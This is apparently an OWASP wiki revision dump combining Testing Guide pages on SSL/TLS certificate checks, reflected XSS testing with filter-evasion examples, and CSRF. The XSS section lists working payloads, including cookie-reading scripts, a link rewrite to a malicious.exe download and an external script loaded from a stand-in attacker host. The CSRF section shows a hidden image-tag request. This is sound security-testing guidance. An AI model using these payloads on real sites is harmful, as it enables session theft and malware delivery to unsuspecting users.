Firstly upgrade the browser because CA certs expire and in every release of the browser these are renewed. Examine the validity of the certificates used by the application. Browsers will issue a warning when encountering expired certificates, certificates issued by untrusted CAs, and certificates which do not match name wise with the site to which they should refer. <br />
<br />
<br />
By clicking on the padlock that appears in the browser window when visiting an HTTPS site, testers can look at information related to the certificate – including the issuer, period of validity, encryption characteristics, etc. If the application requires a client certificate, that tester has probably installed one to access it. Certificate information is available in the browser by inspecting the relevant certificate(s) in the list of the installed certificates. <br />
<br />
<br />
These checks must be applied to all visible SSL-wrapped communication channels used by the application. Though this is the usual https service running on port 443, there may be additional services involved depending on the web application architecture and on deployment issues (an HTTPS administrative port left open, HTTPS services on non-standard ports, etc.). Therefore, apply these checks to all SSL-wrapped ports which have been discovered. For example, the nmap scanner features a scanning mode (enabled by the –sV command line switch) which identifies SSL-wrapped services. The Nessus vulnerability scanner has the capability of performing SSL checks on all SSL/TLS-wrapped services. <br />
<br />
<br />
====Example 1. Testing for certificate validity (manually)====<br />
Rather than providing a fictitious example, this guide includes an anonymized real-life example to stress how frequently one stumbles on https sites whose certificates are inaccurate with respect to naming. The following screenshots refer to a regional site of a high-profile IT company. <br />
<br />
We are visiting a .it site and the certificate was issued to a .com site. Internet Explorer warns that the name on the certificate does not match the name of the site. <br />
<br />
[[Image:SSL Certificate Validity Testing IE Warning.gif]]<br />
<br />
''Warning issued by Microsoft Internet Explorer''<br />
<br />
The message issued by Firefox is different. Firefox complains because it cannot ascertain the identity of the .com site the certificate refers to because it does not know the CA which signed the certificate. In fact, Internet Explorer and Firefox do not come pre-loaded with the same list of CAs. Therefore, the behavior experienced with various browsers may differ.<br />
<br />
[[Image:SSL Certificate Validity Testing Firefox Warning.gif]]<br />
<br />
''Warning issued by Mozilla Firefox''<br />
<br />
===Testing for other vulnerabilities===<br />
As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.<br />
<br />
<br />
====Surf Jacking====<br />
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.<br />
<br />
<br />
The following is a scenario of how the attack can take place:<br />
* Victim logs into the secure website at https://somesecuresite/.<br />
* The secure site issues a session cookie as the client logs in.<br />
* While logged in, the victim opens a new browser window and goes to http:// examplesite/<br />
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.<br />
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.<br />
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text<br />
* The attacker sees this traffic and logs the cookie for later use.<br />
<br />
<br />
To test if a website is vulnerable carry out the following tests:<br />
# Check if website supports both HTTP and HTTPS protocols<br />
# Check if cookies do not have the “Secure” flag<br />
<br />
<br />
====SSL Strip====<br />
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.<br />
<br />
<br />
An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.<br />
<br />
<br />
===Testing via HTTP proxy===<br />
<br />
Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.<br />
<br />
<br />
====Example 8. Testing via HTTP proxy==== <br />
<br />
To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:<br />
<pre><br />
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128<br />
</pre><br />
<br />
<br />
Then the tester can target all other tools to localhost:9999:<br />
<pre><br />
$ openssl s_client -connect localhost:9999<br />
</pre><br />
<br />
<br />
All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.<br />
<br />
<br />
== Configuration Review ==<br />
<br />
===Testing for Weak SSL/TLS Cipher Suites===<br />
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well. <br />
<br />
<br />
====Example 9. Windows Server==== <br />
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:<br />
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre><br />
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.<br />
<br />
<br />
====Example 10: Apache====<br />
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.<br />
<br />
<br />
===Testing SSL certificate validity – client and server===<br />
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.<br />
<br />
==Tools==<br />
*[21][Qualsys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet-facing scanner<br />
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.<br />
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST<br />
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.<br />
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.<br />
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.<br />
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.<br />
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to manually query SSL/TLS services<br />
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)<br />
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay<br />
*[38] [testssl.sh| https://testssl.sh/ ]<br />
*[39] [[O-Saft|O-Saft - OWASP SSL advanced forensic tool]]<br />
<br />
==References==<br />
'''OWASP Resources'''<br />
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OTG-SESS-002)]<br />
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Test_Network/Infrastructure_Configuration_(OTG-CONFIG-001)]<br />
* [6] [OWASP Testing Guide - Testing for HTTP_Strict_Transport_Security (OTG-CONFIG-007)|https://www.owasp.org/index.php/Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)]<br />
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)]<br />
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OTG-AUTHN-001)]<br />
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]<br />
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]<br />
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]<br />
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]<br />
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]<br />
<br />
<br />
'''Whitepapers'''<br />
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]<br />
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]<br />
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]<br />
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]<br />
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]<br />
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]<br />
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]<br />
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]<br />
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]<br />
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]<br />
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]<br />
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]<br />
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]<br />
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]<br />
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]<br />
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]<br />
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]<br />
* https://github.com/ssllabs/research/wiki<br />
<br />
[[Category:Cryptographic Vulnerability]]<br />
[[Category:SSL]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&diff=249378Testing for Reflected Cross site scripting (OTG-INPVAL-001)2019-03-28T05:14:30Z<p>D0ubl3 h3lix: /* Tools */ updated yehg.net link</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Summary ==<br />
<br />
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.<br />
<br />
<br />
Reflected XSS are the most frequent type of XSS attacks found in the wild. Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS.<br />
<br />
<br />
When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual <br />
execution of the offending code using the victim's browser. <br />
<br />
<br />
Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript. Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links). <br />
<br />
<br />
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out "<script>", but might not filter %3cscript%3e which simply includes another encoding of tags.<br />
<br />
==How to Test==<br />
=== Black Box testing ===<br />
A black-box test will include at least three phases:<br />
<br />
1. Detect input vectors. For each web page, the tester must determine all the web application's user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.<br />
<br />
<br />
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. <br />Some example of such input data are the following:<br />
<pre><br />
<script>alert(123)</script><br />
</pre><br />
<pre><br />
“><script>alert(document.cookie)</script><br />
</pre><br />
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].<br />
<br />
<br />
3. For each test input attempted in the previous phase, the tester will analyze the result and determine if it represents a vulnerability that has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. <br />
<br />
<br />
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: <br />
<pre><br />
> (greater than) <br />
< (less than) <br />
& (ampersand)<br />
' (apostrophe or single quote)<br />
" (double quote)<br />
</pre><br />
<br />
<br />
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].<br />
<br />
<br />
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: <br />
<pre><br />
\n (new line)<br />
\r (carriage return)<br />
\' (apostrophe or single quote)<br />
\" (double quote)<br />
\\ (backslash)<br />
\uXXXX (unicode values)<br />
</pre><br />
<br />
<br />
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]<br />
<br />
<br />
==== Example 1 ====<br />
For example, consider a site that has a welcome notice " Welcome %username% " and a download link. <br />
<br><br><br />
[[Image:XSS Example1.png]]<br />
<br><br><br />
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. <br />
<br />
<br />
Let's try to click on the following link and see what happens:<br />
<pre>http://example.com/index.php?user=<script>alert(123)</script></pre><br />
<br />
<br />
If no sanitization is applied this will result in the following popup:<br />
<br><br><br />
[[Image:alert.png]]<br />
<br><br><br />
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.<br />
<br />
<br />
==== Example 2 ====<br />
Let's try other piece of code (link):<br />
<pre>http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); <br />
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> </pre><br />
<br />
<br />
This produces the following behavior:<br />
<br><br><br />
[[Image:XSS Example2.png]]<br />
<br><br><br />
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.<br />
<br />
<br />
=== Bypass XSS filters ===<br />
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers. The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled. Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.<br />
<br />
<br />
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.<br />
<br />
<br />
The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.<br />
<br />
<br />
==== Example 3: Tag Attribute Value ====<br />
<br><br />
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of <script> tags and even without the use of characters such as " < > and / that are commonly filtered.<br />
<br />
<br />
For example, the web application could use the user input value to fill an attribute, as shown in the following code:<br />
<pre><br />
<input type="text" name="state" value="INPUT_FROM_USER"><br />
</pre><br />
<br />
<br />
Then an attacker could submit the following code:<br />
<pre><br />
" onfocus="alert(document.cookie)<br />
</pre><br />
<br />
<br />
==== Example 4: Different syntax or encoding ====<br />
<br><br />
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter. <br />
<br />
<br />
Following some examples:<br />
<pre><br />
"><script >alert(document.cookie)</script ><br />
</pre><br />
<br />
<pre><br />
"><ScRiPt>alert(document.cookie)</ScRiPt><br />
</pre><br />
<br />
<pre><br />
"%3cscript%3ealert(document.cookie)%3c/script%3e<br />
</pre><br />
<br />
<br />
==== Example 5: Bypassing non-recursive filtering ====<br />
<br><br />
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:<br />
<pre><br />
<scr<script>ipt>alert(document.cookie)</script><br />
</pre><br />
<br />
<br />
==== Example 6: Including external script ====<br />
<br><br />
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: <br />
<pre><br />
<?<br />
$re = "/<script[^>]+src/i";<br />
<br />
if (preg_match($re, $_GET['var'])) <br />
{<br />
echo "Filtered";<br />
return; <br />
}<br />
echo "Welcome ".$_GET['var']." !";<br />
?><br />
</pre><br />
<br />
<br />
In this scenario there is a regular expression checking if <b><nowiki><script [anything but the character: '>' ] src</nowiki></b> is inserted. This is useful for filtering expressions like <br />
<pre><br />
<script src="http://attacker/xss.js"></script><br />
</pre><br />
<br />
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this: <br />
<pre><br />
http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> <br />
</pre><br />
<br />
<br />
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, http://example/. <br />
<br />
<br />
==== Example 7: HTTP Parameter Pollution (HPP) ====<br />
<br><br />
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP Poland conference. See the [[Testing for HTTP Parameter pollution (OTG-INPVAL-004)|Testing for HTTP Parameter pollution]] for more information. This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible. If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-<br />
based security mechanisms.<br />
<br><br />
<br />
Regular attack: <br />
<pre><br />
http://example/page.php?param=<script>[...]</script><br />
</pre><br />
Attack using HPP:<br />
<pre><br />
http://example/page.php?param=<script&param=>[...]</&param=script><br />
</pre><br />
<br />
<br />
''' Result expected '''<br />
<br><br />
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques. Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. <br />
<br />
<br />
=== Gray Box testing ===<br />
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. <br />
<br />
<br />
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. <br />
<br />
==Tools==<br />
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' <br />
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at https://1337.yehg.net/CAL9000/ .<br />
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]<br />
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.<br />
* '''HackVertor''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php<br />
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.<br />
* '''[[OWASP WebScarab Project|WebScarab]]'''<br />
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. <br />
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/<br />
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.<br />
* '''ratproxy''' - http://code.google.com/p/ratproxy/<br />
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.<br />
* '''Burp Proxy''' - http://portswigger.net/proxy/<br />
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.<br />
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]<br />
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.<br />
* '''OWASP Xenotix XSS Exploit Framework''' - [[OWASP_Xenotix_XSS_Exploit_Framework]]<br />
OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1600+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. Xenotix Scripting Engine allows you to create custom test cases and addons over the Xenotix API. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation.<br />
<br />
<br />
== References ==<br />
'''OWASP Resources'''<br><br />
*[[XSS Filter Evasion Cheat Sheet]] <br />
'''Books'''<br><br />
* Joel Scambray, Mike Shema, Caleb Sima - "Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0<br />
* Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley, ISBN 978-0-470-17077-9<br />
* Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749-154-3<br />
'''Whitepapers'''<br><br />
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]<br />
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]<br />
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]<br />
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]<br />
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://www.coresecurity.com/corelabs-research/publications/alert-a-javascript-agent Read] <br />
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=User:D0ubl3_h3lix&diff=249377User:D0ubl3 h3lix2019-03-28T05:10:02Z<p>D0ubl3 h3lix: updated profile data</p>
<hr />
<div>Name: '''Aung Khant (aka Myo Soe)'''<br />
<br />
[https://www.linkedin.com/in/myo-soe-dan/ My LinkedIn Profile]<br />
<br />
[[Special:Contributions/D0ubl3 h3lix|My OWASP.Org Wiki Contributions]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=User:D0ubl3_h3lix&diff=249376User:D0ubl3 h3lix2019-03-28T05:09:07Z<p>D0ubl3 h3lix: updated profile info</p>
<hr />
<div>[https://www.linkedin.com/in/myo-soe-dan/ My LinkedIn Profile]<br />
<br />
[[Special:Contributions/D0ubl3 h3lix|My OWASP.Org Wiki Contributions]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=User:D0ubl3_h3lix&diff=249375User:D0ubl3 h3lix2019-03-28T05:08:39Z<p>D0ubl3 h3lix: updated profile information</p>
<hr />
<div>My LinkedIn Profile - https://www.linkedin.com/in/myo-soe-dan/<br />
<br />
[[Special:Contributions/D0ubl3 h3lix|My OWASP.Org Wiki Contributions]]</div>D0ubl3 h3lixhttps://wiki.owasp.org/index.php?title=Testing_for_CSRF_(OTG-SESS-005)&diff=249374Testing for CSRF (OTG-SESS-005)2019-03-28T05:06:16Z<p>D0ubl3 h3lix: Corrected yehg.net links</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
==Summary==<br />
<br />
[[CSRF]] is an attack that forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email or chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation, when it targets a normal user. If the targeted end user is the administrator account, a CSRF attack can compromise the entire web application.<br />
<br />
CSRF relies on the following:<br />
<br />
# Web browser behavior regarding the handling of session-related information such as cookies and http authentication information<br />
# Knowledge by the attacker of valid web application URLs<br />
# Application session management relying only on information which is known by the browser<br />
# Existence of HTML tags whose presence cause immediate access to an http[s] resource; for example the image tag ''img''<br />
<br />
Points 1, 2, and 3 are essential for the vulnerability to be present, while point 4 facilitates the actual exploitation, but is not strictly required.<br />
<br />
Point 1) Browsers automatically send information which is used to identify a user session. Suppose ''site'' is a site hosting a web application, and the user ''victim'' has just authenticated himself to ''site''. In response, ''site'' sends ''victim'' a cookie which identifies requests sent by ''victim'' as belonging to ''victim’s'' authenticated session. Basically, once the browser receives the cookie set by ''site'', it will automatically send it along with any further requests directed to ''site''.<br />
<br />
Point 2) If the application does not make use of session-related information in URLs, then it means that the application URLs, their parameters, and legitimate values may be identified (either by code analysis or by accessing the application and taking note of forms and URLs embedded in the HTML/JavaScript).<br />
<br />
Point 3) "Known by the browser” refers to information such as cookies, or http-based authentication information (such as Basic Authentication; and not form-based authentication), which are stored by the browser and subsequently present at each request directed towards an application area requesting that authentication. The vulnerabilities discussed next apply to applications which rely entirely on this kind of information to identify a user session.<br />
<br />
Suppose, for simplicity's sake, to refer to GET-accessible URLs (though the discussion applies as well to POST requests). If ''victim'' has already authenticated himself, submitting another request causes the cookie to be automatically sent with it (see picture, where the user accesses an application on www.example.com).<br />
<br />
<center>[[Image:session_riding.GIF]]</center><br />
<br />
The GET request could be originated in several different ways:<br />
<br />
* by the user, who is using the actual web application;<br />
* by the user, who types the URL directly in the browser;<br />
* by the user, who follows a link (external to the application) pointing to the URL.<br />
<br />
These invocations are indistinguishable by the application. In particular, the third may be quite dangerous. There are a number of techniques (and of vulnerabilities) which can disguise the real properties of a link. The link can be embedded in an email message, or appear in a malicious web site where the user is lured, i.e., the link appears in content hosted elsewhere (another web site, an HTML email message, etc.) and points to a resource of the application. If the user clicks on the link, since it was already authenticated by the web application on ''site'', the browser will issue a GET request to the web application, accompanied by authentication information (the session id cookie). This results in a valid operation performed on the web application and probably not what the user expects to happen. Think of a malicious link causing a fund transfer on a web banking application to appreciate the implications.<br />
<br />
By using a tag such as ''img'', as specified in point 4 above, it is not even necessary that the user follows a particular link. Suppose the attacker sends the user an email inducing him to visit an URL referring to a page containing the following (oversimplified) HTML:<br />
<br />
<pre><br />
<html><body><br />
<br />
...<br />
<br />
<img src=”https://www.company.example/action” width=”0” height=”0”><br />
<br />
...<br />
<br />
</body></html><br />
</pre><br />
<br />
What the browser will do when it displays this page is that it will try to display the specified zero-width (i.e., invisible) image as well. This results in a request being automatically sent to the web application hosted on ''site''. It is not important that the image URL does not refer to a proper image, its presence will trigger the request specified in the ''src'' field anyway. This happens provided that image download is not disabled in the browsers, which is a typical configuration since disabling images would cripple most web applications beyond usability.<br />
<br />
The problem here is a consequence of the following facts:<br />
<br />
* there are HTML tags whose appearance in a page result in automatic http request execution (''img'' being one of those);<br />
* the browser has no way to tell that the resource referenced by ''img ''is not actually an image and is in fact not legitimate;<br />
* image loading happens regardless of the location of the alleged image, i.e., the form and the image itself need not be located in the same host, not even in the same domain. While this is a very handy feature, it makes difficult to compartmentalize applications.<br />
<br />
It is the fact that HTML content unrelated to the web application may refer components in the application, and the fact that the browser automatically composes a valid request towards the application, that allows such kind of attacks. As no standards are defined right now, there is no way to prohibit this behavior unless it is made impossible for the attacker to specify valid application URLs. This means that valid URLs must contain information related to the user session, which is supposedly not known to the attacker and therefore make the identification of such URLs impossible.<br />
<br />
The problem might be even worse, since in integrated mail/browser environments simply displaying an email message containing the image would result in the execution of the request to the web application with the associated browser cookie.<br />
<br />
